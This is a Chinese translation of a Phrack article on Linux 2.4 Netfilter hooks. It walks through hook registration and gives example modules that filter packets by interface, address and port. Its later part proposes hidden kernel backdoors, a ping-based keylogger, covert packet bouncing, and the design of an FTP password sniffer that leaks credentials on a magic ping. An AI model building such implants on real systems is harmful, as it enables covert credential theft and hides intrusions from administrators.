==Phrack Inc.==
卷標 0x0b, 期刊號 0x3d, Phile #0x0d of 0x0f
|=---------------------=[ 深入Linux網(wǎng)絡核心堆棧 ]=-----------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ bioforge <alkerr@yifan.net> ]=--------------------=|
|=------------------------=[ 翻譯 : raodan ]=----------------------------=|
目錄
1 - 簡介
1.1 - 本文涉及的內(nèi)容
1.2 - 本文不涉及的內(nèi)容
2 - 各種Netfilter hook及其用法
2.1 - Linux內(nèi)核對數(shù)據(jù)包的處理
2.2 - Netfilter對IPv4的hook
3 - 注冊和注銷Netfilter hook
4 - Netfilter 基本的數(shù)據(jù)報過濾技術(shù)[1]
4.1 - 深入hook函數(shù)
4.2 - 基于接口進行過濾
4.3 - 基于地址進行過濾
4.4 - 基于TCP端口進行過濾
5 - Netfilter hook的其它可能用法
5.1 - 隱藏后門的守護進程
5.2 - 基于內(nèi)核的FTP密碼嗅探器
5.2.1 - 源代碼 : nfsniff.c
5.2.2 - 源代碼 : getpass.c
6 - 在Libpcap中隱藏網(wǎng)絡通信
6.1 - SOCK_PACKET、SOCK_RAW與Libpcap
6.2 - 給狼披上羊皮
7 - 結(jié)束語
A - 輕量級防火墻
A.1 - 概述
A.2 - 源代碼 : lwfw.c
A.3 - 頭文件 : lwfw.h
B - 第6節(jié)中的源代碼
--[ 1 - 簡介
本文將向你展示,Linux的網(wǎng)絡堆棧的一些怪異行為(并不一定是弱點)如何被用于邪惡的或者是其它形形色色的目的。在這里將要討論的是將表面上看起來合法的Netfilter hook用于后門的通信,以及一種使特定的網(wǎng)絡通信在運行于本機的基于Libpcap的嗅探器中消聲匿跡的技術(shù)。
Netfilter是Linux 2.4內(nèi)核的一個子系統(tǒng),Netfiler使得諸如數(shù)據(jù)包過濾、網(wǎng)絡地址轉(zhuǎn)換(NAT)以及網(wǎng)絡連接跟蹤等技巧成為可能,這些功能僅通過使用內(nèi)核網(wǎng)絡代碼提供的各式各樣的hook既可以完成。這些hook位于內(nèi)核代碼中,要么是靜態(tài)鏈接的,要么是以動態(tài)加載的模塊的形式存在。可以為指定的網(wǎng)絡事件注冊相應的回調(diào)函數(shù),數(shù)據(jù)包的接收就是這樣一個例子。
----[ 1.1 - 本文涉及的內(nèi)容
本文討論模塊編寫者如何利用Netfilter hook來實現(xiàn)任意目的以及如何將將網(wǎng)絡通信在基于Libpcap的應用程序中隱藏。雖然Linux 2.4支持對IPv4、IPv6以及DECnet的hook,但在本文中將只討論關(guān)于IPv4的話題,雖然如此,大部分關(guān)于IPv4的內(nèi)容都同樣可以運用于其它幾種協(xié)議。出于教學的目的,附錄A提供了一個可用的、提供基本的包過濾的內(nèi)核模塊。本文中所有的開發(fā)和試驗都在運行于Intel主機上的Linux 2.4.5中完成。對Netfilter hook功能的測試在環(huán)回接口、以太網(wǎng)接口以及調(diào)制解調(diào)器點對點接口上完成。
本文也是出于我對Netfilter完全理解的嘗試的興趣而寫的。我并不能保證文中附帶的任何代碼100%的沒有錯誤,但是我已經(jīng)測試了所有在這里提供的代碼。我已經(jīng)受夠了核心錯誤的折磨,因此真誠的希望你不會再如此。同樣,我不會為任何按照本文所述進行的操作中可能發(fā)生的損害承擔責任。本文假定讀者熟悉C語言編程并且有一定的關(guān)于可加載模塊的經(jīng)驗。
歡迎對本文中出現(xiàn)的錯誤進行批評指正,我同時開誠布公的接受對本文的改進以及其它各種關(guān)于Netfilter的優(yōu)秀技巧的建議。
---- [ 1.2 - 本文不涉及的內(nèi)容
本文不是一個完全的關(guān)于Netfilter的細節(jié)上的參考資料,同樣,也不是一個關(guān)于iptables的命令的參考資料。如果你想了解更多的關(guān)于iptables的命令,請參考相關(guān)的手冊頁。
好了,讓我們從Netfilter的使用介紹開始 ...
--[ 2 - 各種Netfilter hook及其用法
----[ 2.1 - Linux內(nèi)核對數(shù)據(jù)包的處理
看起來好像是我很喜歡深入到諸如Linux的數(shù)據(jù)包處理以及事件的發(fā)生以及跟蹤每一個Netfilter hook這樣的血淋淋的細節(jié)中,事實并非如此!原因很簡單,Harald Welte已經(jīng)寫了一篇關(guān)于這個話題的優(yōu)秀的文章——《Journey of a Packet Through the Linux 2.4 Network Stack》。如果你想了解更多的關(guān)于Linux數(shù)據(jù)包處理的內(nèi)容,我強烈推薦你去拜讀這篇文章。現(xiàn)在,僅需要理解:當數(shù)據(jù)包游歷Linux內(nèi)核的網(wǎng)絡堆棧時,它穿過了幾個hook點,在這里,數(shù)據(jù)包可以被分析并且選擇是保留還是丟棄,這些hook點就是Netfilter hook。
----[ 2.2 - Netfilter對IPv4的hook
Netfilter中定義了五個關(guān)于IPv4的hook,對這些符號的聲明可以在linux/netfilter_ipv4.h中找到。這些hook列在下面的表中:
表1 : 可用的IPv4 hook
Hook 調(diào)用的時機
NF_IP_PRE_ROUTING 在完整性校驗之后,選路確定之前
NF_IP_LOCAL_IN 在選路確定之后,且數(shù)據(jù)包的目的是本地主機
NF_IP_FORWARD 目的地是其它主機地數(shù)據(jù)包
NF_IP_LOCAL_OUT 來自本機進程的數(shù)據(jù)包在其離開本地主機的過程中
NF_IP_POST_ROUTING 在數(shù)據(jù)包離開本地主機“上線”之前
NF_IP_PRE_ROUTING這個hook是數(shù)據(jù)包被接收到之后調(diào)用的第一個hook,這個hook既是稍后將要描述的模塊所用到的。當然,其它的hook同樣非常有用,但是在這里,我們的焦點是在NF_IP_PRE_ROUTING這個hook上。
在hook函數(shù)完成了對數(shù)據(jù)包所需的任何的操作之后,它們必須返回下列預定義的Netfilter返回值中的一個:
表2 : Netfilter返回值
返回值 含義
NF_DROP 丟棄該數(shù)據(jù)包
NF_ACCEPT 保留該數(shù)據(jù)包
NF_STOLEN 忘掉該數(shù)據(jù)包
NF_QUEUE 將該數(shù)據(jù)包插入到用戶空間
NF_REPEAT 再次調(diào)用該hook函數(shù)
NF_DROP這個返回值的含義是該數(shù)據(jù)包將被完全的丟棄,所有為它分配的資源都應當被釋放。NF_ACCEPT這個返回值告訴Netfilter:到目前為止,該數(shù)據(jù)包還是被接受的并且該數(shù)據(jù)包應當被遞交到網(wǎng)絡堆棧的下一個階段。NF_STOLEN是一個有趣的返回值,因為它告訴Netfilter,“忘掉”這個數(shù)據(jù)包。這里告訴Netfilter的是:該hook函數(shù)將從此開始對數(shù)據(jù)包的處理,并且Netfilter應當放棄對該數(shù)據(jù)包做任何的處理。但是,這并不意味著該數(shù)據(jù)包的資源已經(jīng)被釋放。這個數(shù)據(jù)包以及它獨自的sk_buff數(shù)據(jù)結(jié)構(gòu)仍然有效,只是hook函數(shù)從Netfilter獲取了該數(shù)據(jù)包的所有權(quán)。不幸的是,我還不是完全的清楚NF_QUEUE到底是如果工作的,因此在這里我不討論它。最后一個返回值NF_REPEAT請求Netfilter再次調(diào)用這個hook函數(shù)。顯然,使用者應當謹慎使用NF_REPEAT這個返回值,以免造成死循環(huán)。
--[3 - 注冊和注銷Netfilter hook
注冊一個hook函數(shù)是圍繞nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的一個非常簡單的操作,nf_hook_ops數(shù)據(jù)結(jié)構(gòu)在linux/netfilter.h中定義,該數(shù)據(jù)結(jié)構(gòu)的定義如下:
struct nf_hook_ops {
struct list_head list;
/* 此下的值由用戶填充 */
nf_hookfn *hook;
int pf;
int hooknum;
/* Hook以升序的優(yōu)先級排序 */
int priority;
};
該數(shù)據(jù)結(jié)構(gòu)中的list成員用于維護Netfilter hook的列表,并且不是用戶在注冊hook時需要關(guān)心的重點。hook成員是一個指向nf_hookfn類型的函數(shù)的指針,該函數(shù)是這個hook被調(diào)用時執(zhí)行的函數(shù)。nf_hookfn同樣在linux/netfilter.h中定義。pf這個成員用于指定協(xié)議族。有效的協(xié)議族在linux/socket.h中列出,但對于IPv4我們希望使用協(xié)議族PF_INET。hooknum這個成員用于指定安裝的這個函數(shù)對應的具體的hook類型,其值為表1中列出的值之一。最后,priority這個成員用于指定在執(zhí)行的順序中,這個hook函數(shù)應當在被放在什么地方。對于IPv4,可用的值在linux/netfilter_ipv4.h的nf_ip_hook_priorities枚舉中定義。出于示范的目的,在后面的模塊中我們將使用NF_IP_PRI_FIRST。
注冊一個Netfilter hook需要調(diào)用nf_register_hook()函數(shù),以及用到一個nf_hook_ops數(shù)據(jù)結(jié)構(gòu)。nf_register_hook()函數(shù)以一個nf_hook_ops數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)并且返回一個整型的值。但是,如果你真正的看了在net/core/netfilter.c中的nf_register_hook()函數(shù)的實現(xiàn)代碼,你會發(fā)現(xiàn)該函數(shù)總是返回0。以下提供的是一個示例代碼,該示例代碼簡單的注冊了一個丟棄所有到達的數(shù)據(jù)包的函數(shù)。該代碼同時展示了Netfilter的返回值如何被解析。
示例代碼1 : Netfilter hook的注冊
/*
* 安裝一個丟棄所有到達的數(shù)據(jù)包的Netfilter hook函數(shù)的示例代碼
*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* 用于注冊我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */
static struct nf_hook_ops nfho;
/* 注冊的hook函數(shù)的實現(xiàn) */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
return NF_DROP; /* 丟棄所有的數(shù)據(jù)包 */
}
/* 初始化程序 */
int init_module()
{
/* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */
nfho.hook = hook_func; /* 處理函數(shù) */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */
nf_register_hook(&nfho);
return 0;
}
/* 清除程序 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
這就是全部內(nèi)容,從示例代碼1中,你可以看到,注銷一個Netfilter hook是一件很簡單事情,只需要調(diào)用nf_unregister_hook()函數(shù),并且以你之前用于注冊這個hook時用到的相同的數(shù)據(jù)結(jié)構(gòu)的地址作為參數(shù)。
-- [4 - Netfilter 基本的數(shù)據(jù)報過濾技術(shù)
---- [4.1 - 深入hook函數(shù)
現(xiàn)在是到了看看什么數(shù)據(jù)被傳遞到hook函數(shù)中以及這些數(shù)據(jù)如何被用于做過濾選擇的時候了。那么,讓我們更深入的看看nf_hookfn函數(shù)的原型吧。這個函數(shù)原型在linux/netfilter.h中給出,如下:
typedef unsigned int nf_hookfn(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *));
nf_hookfn函數(shù)的第一個參數(shù)用于指定表1中給出的hook類型中的一個。第二個參數(shù)更加有趣,它是一個指向指針的指針,該指針指向的指針指向一個sk_buff數(shù)據(jù)結(jié)構(gòu),網(wǎng)絡堆棧用sk_buff數(shù)據(jù)結(jié)構(gòu)來描述數(shù)據(jù)包。這個數(shù)據(jù)結(jié)構(gòu)在linux/skbuff.h中定義,由于它的內(nèi)容太多,在這里我將僅列出其中有意義的部分。
sk_buff數(shù)據(jù)結(jié)構(gòu)中最有用的部分可能就是那三個描述傳輸層包頭(例如:UDP, TCP, ICMP, SPX)、網(wǎng)絡層包頭(例如:IPv4/6, IPX, RAW)以及鏈路層包頭(例如:以太網(wǎng)或者RAW)的聯(lián)合(union)了。這三個聯(lián)合的名字分別是h、nh以及mac。這些聯(lián)合包含了幾個結(jié)構(gòu),依賴于具體的數(shù)據(jù)包中使用的協(xié)議。使用者應當注意:傳輸層包頭和網(wǎng)絡層包頭可能是指向內(nèi)存中的同一個位置。這是TCP數(shù)據(jù)包可能出現(xiàn)的情況,其中h和nh都應當被看作是指向IP頭結(jié)構(gòu)的指針。這意味著嘗試通過h->th獲取一個值,并認為該指針指向一個TCP頭,將會得到錯誤的結(jié)果。因為h->th實際上是指向的IP頭,與nh->iph得到的結(jié)果相同。
接下來讓我們感興趣的其它部分是len和data這兩個域。len指定了從data開始的數(shù)據(jù)包中的數(shù)據(jù)的總長度。好了,現(xiàn)在我們知道如何在sk_buff數(shù)據(jù)結(jié)構(gòu)中分別訪問協(xié)議頭和數(shù)據(jù)包中的數(shù)據(jù)了。Netfilter hook函數(shù)中有用的信息中其它的有趣的部分是什么呢?
緊跟在skb之后的兩個參數(shù)是指向net_device數(shù)據(jù)結(jié)構(gòu)的指針,net_device數(shù)據(jù)結(jié)構(gòu)被Linux內(nèi)核用于描述所有類型的網(wǎng)絡接口。這兩個參數(shù)中的第一個——in,用于描述數(shù)據(jù)包到達的接口,毫無疑問,參數(shù)out用于描述數(shù)據(jù)包離開的接口。必須明白,在通常情況下,這兩個參數(shù)中將只有一個被提供。例如:參數(shù)in只用于NF_IP_PRE_ROUTING和NF_IP_LOCAL_IN hook,參數(shù)out只用于NF_IP_LOCAL_OUT和NF_IP_POST_ROUTING hook。在這一個階段中,我還沒有測試對于NF_IP_FORWARD hook,這兩個參數(shù)中哪些是有效的,但是如果你能在使用之前先確定這些指針是非空的,那么你是非常優(yōu)秀的!
最后,傳遞給hook函數(shù)的最后一個參數(shù)是一個命名為okfn函數(shù)指針,該函數(shù)以一個sk_buff數(shù)據(jù)結(jié)構(gòu)作為它唯一的參數(shù),并且返回一個整型的值。我不是很確定這個函數(shù)是干什么用的,在net/core/netfilter.c中查看,有兩個地方調(diào)用了這個okfn函數(shù)。這兩個地方是分別在函數(shù)nf_hook_slow()中以及函數(shù)nf_reinject()中,在其中的某個位置,當Netfilter hook的返回值為NF_ACCEPT時被調(diào)用。如果任何人有更多的關(guān)于okfn函數(shù)的信息,請務必告知。
** 譯注:Linux核心網(wǎng)絡堆棧中有一個全局變量 : struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],該變量是一個二維數(shù)組,其中第一維用于指定協(xié)議族,第二維用于指定hook的類型(表1中定義的類型)。注冊一個Netfilter hook實際就是在由協(xié)議族和hook類型確定的鏈表中添加一個新的節(jié)點。
以下代碼摘自 net/core/netfilter,nf_register_hook()函數(shù)的實現(xiàn):
int nf_register_hook(struct nf_hook_ops *reg)
{
struct list_head *i;
br_write_lock_bh(BR_NETPROTO_LOCK);
for (i = nf_hooks[reg->pf][reg->hooknum].next;
i != &nf_hooks[reg->pf][reg->hooknum];
i = i->next) {
if (reg->priority < ((struct nf_hook_ops *)i)->priority)
break;
}
list_add(®->list, i->prev);
br_write_unlock_bh(BR_NETPROTO_LOCK);
return 0;
}
Netfilter中定義了一個宏NF_HOOK,作者在前面提到的nf_hook_slow()函數(shù)實際上就是NF_HOOK宏定義替換的對象,在NF_HOOK中執(zhí)行注冊的hook函數(shù)。NF_HOOK在Linux核心網(wǎng)絡堆棧的適當?shù)牡胤揭赃m當?shù)膮?shù)調(diào)用。例如,在ip_rcv()函數(shù)(位于net/ipv4/ip_input.c)的最后部分,調(diào)用NF_HOOK函數(shù),執(zhí)行NF_IP_PRE_ROUTING類型的hook。ip_rcv()是Linux核心網(wǎng)絡堆棧中用于接收IPv4數(shù)據(jù)包的主要函數(shù)。在NF_HOOK的參數(shù)中,頁包含一個okfn函數(shù)指針,該函數(shù)是用于數(shù)據(jù)包被接收后完成后續(xù)的操作,例如在ip_rcv中調(diào)用的NF_HOOK中的okfn函數(shù)指針指向ip_rcv_finish()函數(shù)(位于net/ipv4/ip_input.c),該函數(shù)用于IP數(shù)據(jù)包被接收后的諸如IP選項處理等后續(xù)處理。
如果在內(nèi)核編譯參數(shù)中取消CONFIG_NETFILTER宏定義,NF_HOOK宏定義直接被替換為okfn,內(nèi)核代碼中的相關(guān)部分如下(linux/netfilter.h):
#ifdef CONFIG_NETFILTER
...
#ifdef CONFIG_NETFILTER_DEBUG
#define NF_HOOK nf_hook_slow
#else
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) \
(list_empty(&nf_hooks[(pf)][(hook)]) \
? (okfn)(skb) \
: nf_hook_slow((pf), (hook), (skb), (indev), (outdev), (okfn)))
#endif
...
#else /* !CONFIG_NETFILTER */
#define NF_HOOK(pf, hook, skb, indev, outdev, okfn) (okfn)(skb)
#endif /*CONFIG_NETFILTER*/
可見okfn函數(shù)是必不可少的,當Netfilter被啟用時,它用于完成接收的數(shù)據(jù)包后的后續(xù)操作,如果不啟用Netfilter做數(shù)據(jù)包過濾,則所有的數(shù)據(jù)包都被接受,直接調(diào)用該函數(shù)做后續(xù)操作。
** 譯注完
現(xiàn)在,我們已經(jīng)了解了我們的hook函數(shù)接收到的信息中最有趣和最有用的部分,是該看看我們?nèi)绾我愿鞣N各樣的方式來利用這些信息來過濾數(shù)據(jù)包的時候了!
----[4.2 - 基于接口進行過濾
這應該是我們能做的最簡單的過濾技術(shù)了。還記得我們的hook函數(shù)接收的參數(shù)中的那些net_device數(shù)據(jù)結(jié)構(gòu)嗎?使用相應的net_device數(shù)據(jù)結(jié)構(gòu)的name這個成員,你就可以根據(jù)數(shù)據(jù)包的源接口和目的接口來選擇是否丟棄它。如果想丟棄所有到達接口eth0的數(shù)據(jù)包,所有你需要做的僅僅是將in->name的值與"eth0"做比較,如果名字匹配,那么hook函數(shù)簡單的返回NF_DROP即可,數(shù)據(jù)包會被自動銷毀。就是這么簡單!完成該功能的示例代碼見如下的示例代碼2。注意,Light-Weight FireWall模塊將會提供所有的本文提到的過濾方法的簡單示例。它還包含了一個IOCTL接口以及用于動態(tài)改變其特性的應用程序。
示例代碼2 : 基于源接口的數(shù)據(jù)包過濾
/*
* 安裝一個丟棄所有進入我們指定接口的數(shù)據(jù)包的Netfilter hook函數(shù)的示例代碼
*/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* 用于注冊我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */
static struct nf_hook_ops nfho;
/* 我們丟棄的數(shù)據(jù)包來自的接口的名字 */
static char *drop_if = "lo";
/* 注冊的hook函數(shù)的實現(xiàn) */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
if (strcmp(in->name, drop_if) == 0) {
printk("Dropped packet on %s...\n", drop_if);
return NF_DROP;
} else {
return NF_ACCEPT;
}
}
/* 初始化程序 */
int init_module()
{
/* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */
nfho.hook = hook_func; /* 處理函數(shù) */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */
nf_register_hook(&nfho);
return 0;
}
/* 清除程序 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
是不是很簡單?接下來,讓我們看看基于IP地址的過濾。
----[ 4.3 - 基于地址進行過濾
與根據(jù)數(shù)據(jù)包的接口進行過濾類似,基于數(shù)據(jù)包的源或目的IP地址進行過濾同樣簡單。這次我們感興趣的是sk_buff數(shù)據(jù)結(jié)構(gòu)。還記得skb參數(shù)是一個指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針的指針嗎?為了避免犯錯誤,聲明一個另外的指向skb_buff數(shù)據(jù)結(jié)構(gòu)的指針并且將skb指針指向的指針賦值給這個新的指針是一個好習慣,就像這樣:
struct sk_buff *sb = *skb; /* Remove 1 level of indirection* /
這樣,你訪問這個數(shù)據(jù)結(jié)構(gòu)的元素時只需要反引用一次就可以了。獲取一個數(shù)據(jù)包的IP頭通過使用sk_buff數(shù)據(jù)結(jié)構(gòu)中的網(wǎng)絡層包頭來完成。這個頭位于一個聯(lián)合中,可以通過sk_buff->nh.iph這樣的方式來訪問。示例代碼3中的函數(shù)演示了當?shù)玫揭粋€數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)時,如何利用它來檢查收到的數(shù)據(jù)包的源IP地址與被禁止的地址是否相同。這些代碼是直接從LWFW中取出來的,唯一不同的是LWFW統(tǒng)計的更新被移除。
示例代碼3 : 檢查收到的數(shù)據(jù)包的源IP
unsigned char *deny_ip = "\x7f\x00\x00\x01"; /* 127.0.0.1 */
...
static int check_ip_packet(struct sk_buff *skb)
{
/* We don't want any NULL pointers in the chain to
* the IP header. */
if (!skb )return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
if (skb->nh.iph->saddr == *(unsigned int *)deny_ip) {
return NF_DROP;
}
return NF_ACCEPT;
}
這樣,如果數(shù)據(jù)包的源地址與我們設定的丟棄數(shù)據(jù)包的地址匹配,那么該數(shù)據(jù)包將被丟棄。為了使這個函數(shù)能按預期的方式工作,deny_ip的值應當以網(wǎng)絡字節(jié)序(Big-endian,與Intel相反)存放。雖然這個函數(shù)不太可能以一個空的指針作為參數(shù)來調(diào)用,帶一點點偏執(zhí)狂從來不會有什么壞處。當然,如果錯誤確實發(fā)生了,那么該函數(shù)將會返回NF_ACCEPT。這樣Netfilter可以繼續(xù)處理這個數(shù)據(jù)包。示例代碼4展現(xiàn)了用于演示將基于接口的過濾略做修改以丟棄匹配給定IP地址的數(shù)據(jù)包的簡單模塊。
示例代碼4 : 基于數(shù)據(jù)包源地址的過濾
/* 安裝丟棄所有來自指定IP地址的數(shù)據(jù)包的Netfilter hook的示例代碼 */
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/ip.h> /* For IP header */
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
/* 用于注冊我們的函數(shù)的數(shù)據(jù)結(jié)構(gòu) */
static struct nf_hook_ops nfho;
/* 我們要丟棄的數(shù)據(jù)包來自的地址,網(wǎng)絡字節(jié)序 */
static unsigned char *drop_ip = "\x7f\x00\x00\x01";
/* 注冊的hook函數(shù)的實現(xiàn) */
unsigned int hook_func(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff *))
{
struct sk_buff *sb = *skb;
// 譯注:作者提供的代碼中比較地址是否相同的方法是錯誤的,見注釋掉的部分
if (sb->nh.iph->saddr == *(unsigned int *)drop_ip) {
// if (sb->nh.iph->saddr == drop_ip) {
printk("Dropped packet from... %d.%d.%d.%d\n",
*drop_ip, *(drop_ip + 1),
*(drop_ip + 2), *(drop_ip + 3));
return NF_DROP;
} else {
return NF_ACCEPT;
}
}
/* 初始化程序 */
int init_module()
{
/* 填充我們的hook數(shù)據(jù)結(jié)構(gòu) */
nfho.hook = hook_func; /* 處理函數(shù) */
nfho.hooknum = NF_IP_PRE_ROUTING; /* 使用IPv4的第一個hook */
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST; /* 讓我們的函數(shù)首先執(zhí)行 */
nf_register_hook(&nfho);
return 0;
}
/* 清除程序 */
void cleanup_module()
{
nf_unregister_hook(&nfho);
}
----[ 4.4 - 基于TCP端口進行過濾
另一個要實現(xiàn)的簡單規(guī)則是基于數(shù)據(jù)包的TCP目的端口進行過濾。這只比檢查IP地址的要求要高一點點,因為我們需要自己創(chuàng)建一個TCP頭的指針。還記得我們前面討論的關(guān)于傳輸層包頭與網(wǎng)絡層包頭的內(nèi)容嗎?獲取一個TCP頭的指針是一件簡單的事情——分配一個tcphdr數(shù)據(jù)結(jié)構(gòu)(在linux/tcp.h中定義)的指針,并將它指向我們的數(shù)據(jù)包中IP頭之后的數(shù)據(jù)。或許一個例子的幫助會更大一些,示例代碼5給出了檢查數(shù)據(jù)包的TCP目的端口是否與某個我們要丟棄數(shù)據(jù)包的端口匹配的代碼。與示例代碼3一樣,這些代碼摘自LWFW。
示例代碼5 : 檢查收到的數(shù)據(jù)包的TCP目的端口
unsigned char *deny_port = "\x00\x19"; /* port 25 */
...
static int check_tcp_packet(struct sk_buff *skb)
{
struct tcphdr *thead;
/* We don't want any NULL pointers in the chain
* to the IP header. */
if (!skb ) return NF_ACCEPT;
if (!(skb->nh.iph)) return NF_ACCEPT;
/* Be sure this is a TCP packet first */
if (skb->nh.iph->protocol != IPPROTO_TCP) {
return NF_ACCEPT;
}
thead = (struct tcphdr *)(skb->data +
(skb->nh.iph->ihl * 4));
/* Now check the destination port */
if ((thead->dest) == *(unsigned short *)deny_port) {
return NF_DROP;
}
return NF_ACCEPT;
}
確實很簡單!不要忘了,要讓這個函數(shù)工作,deny_port必須是網(wǎng)絡字節(jié)序。這就是數(shù)據(jù)包過濾的基礎了,你應當已經(jīng)清楚的理解了對于一個特定的數(shù)據(jù)包,如何獲取你想要的信息。現(xiàn)在,是該進入更有趣的內(nèi)容的時候了!
--[ 5 - Netfilter hook的其它可能用法
在這里,我將提出其它很酷的利用Netfilter hook的點子,5.1節(jié)將簡單的給出精神食糧,而5.2節(jié)將討論和給出可以工作的基于內(nèi)核的FTP密碼嗅探器的代碼,它的遠程密碼獲取功能是確實可用的。事實上,它工作的令我吃驚的好,并且我編寫了它。
----[ 5.1 - 隱藏后門的守護進程
核心模塊編程也許是Linux開發(fā)中最有趣的部分之一了,在內(nèi)核中編寫代碼意味著你在一個僅受限于你的想象力的地方寫代碼。以惡意的觀點來看,你可以隱藏文件、進程,并且做各式各樣很酷的,任何的rootkit能夠做的事情。那么,以不太惡意的觀點來看(是的,持這中觀點人們的確存在),你可以隱藏文件、進程以及干各式各樣的事情。內(nèi)核真是一個迷人的樂園!
有了賦予內(nèi)核級程序員的強大力量,很多事情成為可能。其中最有趣的(也是讓系統(tǒng)管理員恐慌的)一個就是嵌入到內(nèi)核中的后門。畢竟,如果后門不作為一個進程運行,那么我們怎么知道它的運行?當然,還是有辦法讓你的內(nèi)核揪出這樣的后門來,但是它們可不像運行ps命令一樣容易和簡單。現(xiàn)今,將后門代碼放到內(nèi)核中去的點子已經(jīng)并不新鮮了。但是,我在這里所提出的是安放一個用作內(nèi)核后門的簡單的網(wǎng)絡服務。你猜對了,正是Netfilter hook!
如果你已經(jīng)具備必要的技能并且情愿以做試驗的名義使你的內(nèi)核崩潰,那么你就可以構(gòu)建簡單但是有用的,完全位于內(nèi)核中的,可以遠程訪問的網(wǎng)絡服務了。基本上一個Netfilter hook可以通過觀察收到的數(shù)據(jù)包來查找一個“魔法”數(shù)據(jù)包,并且當接收到這個“魔法”數(shù)據(jù)包時干指定的事情。結(jié)果可以通過Netfilter hook來發(fā)送。并且該hook函數(shù)可以返回NF_STOLEN,以使得收到的“魔法”數(shù)據(jù)包可以走得更遠。但是要注意,當以這種方式來發(fā)送時,輸出數(shù)據(jù)包對于輸出Netfilter hook仍然是可見的。因此用戶空間完全不知道這個“魔法”數(shù)據(jù)包的曾經(jīng)到達,但是它們還是能看到你送所出的。當心!因為在泄密主機上的嗅探器不能看到這個包并不意味著在其它中間宿主主機上的嗅探器也看不到這個包。
kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述了如何通過注冊數(shù)據(jù)包類型處理器來完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因為它是一篇給出了一些非常有趣的點子的有趣讀物。
那么,后門Netfilter hook可以干些什么工作呢?以下是一些建議:
-- 遠程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,并且當遠程主機發(fā)送一個PING請求時,結(jié)果被送到該主機。這樣,可以生成一個類似于穩(wěn)定的(非洪水的)PING應答流的擊鍵信息的流。當然,你可能想要實現(xiàn)一個簡單的加密,這樣,ASCII鍵不會立即暴露它們自己,并且某些警覺的系統(tǒng)管理員會想:“堅持,我以前都是通過我的SSH會話來鍵入那些的!Oh $%@T%&!”。
-- 各種簡單的管理員任務,例如獲取當前登錄到主機的用戶的列表或責獲取打開的網(wǎng)絡連接的信息。
-- 并非一個真正的后門,而是位于網(wǎng)絡邊界的模塊,并且阻擋任何被疑為來自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。
-- 文件傳輸“服務器”。我最近已經(jīng)實現(xiàn)了這個主意,由此引起的Linux核心編程是數(shù)小時的樂趣:)
-- 數(shù)據(jù)包跳躍。重定向目的為木馬主機指定端口的數(shù)據(jù)包到其它的IP主機和端口,并且從那臺主機發(fā)回數(shù)據(jù)包到發(fā)起者。沒有進程被派生,并且最妙的是,沒有網(wǎng)絡套接字被打開。
-- 上面描述的數(shù)據(jù)包跳躍用于與網(wǎng)絡中的關(guān)鍵系統(tǒng)以半隱蔽方式通信。例如:配置路由器等。
-- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼并保存相關(guān)信息,直到進入的“魔法”數(shù)據(jù)包要求獲取它們。
以上只是一些想法的簡短的列表,其中最后一個想法是我們在接下來的一節(jié)中將要真正詳細討論的。它
提供了一個很好的了解更多的深藏于核心網(wǎng)絡代碼中的函數(shù)的機會。
----[ 5.2 - 基于內(nèi)核的FTP密碼嗅探器
在這里展現(xiàn)的是一個簡單的,原理性的,用做Netfilter后門的模塊。該模塊嗅探輸出的FTP數(shù)據(jù)包,查找對于一個FTP服務器一個USER于PASS命令對。當這樣一個命令對被發(fā)現(xiàn)后,該模塊接下來將等待一個“魔法”ICMP ECHO(ping)數(shù)據(jù)包,該數(shù)據(jù)包應當足夠大,使其能返回服務器的IP地址、用戶名以及密碼。同時提供了一個快速的發(fā)送一個“魔法”數(shù)據(jù)包,獲取返回然后打印返回信息的技巧。一旦用戶名/密碼對從模塊讀取后,模塊將接著查找下一對。注意,模塊每次只保存一個對。以上是簡要的瀏覽,是該展示更多的細節(jié),來看模塊如何做到這些的時候了。
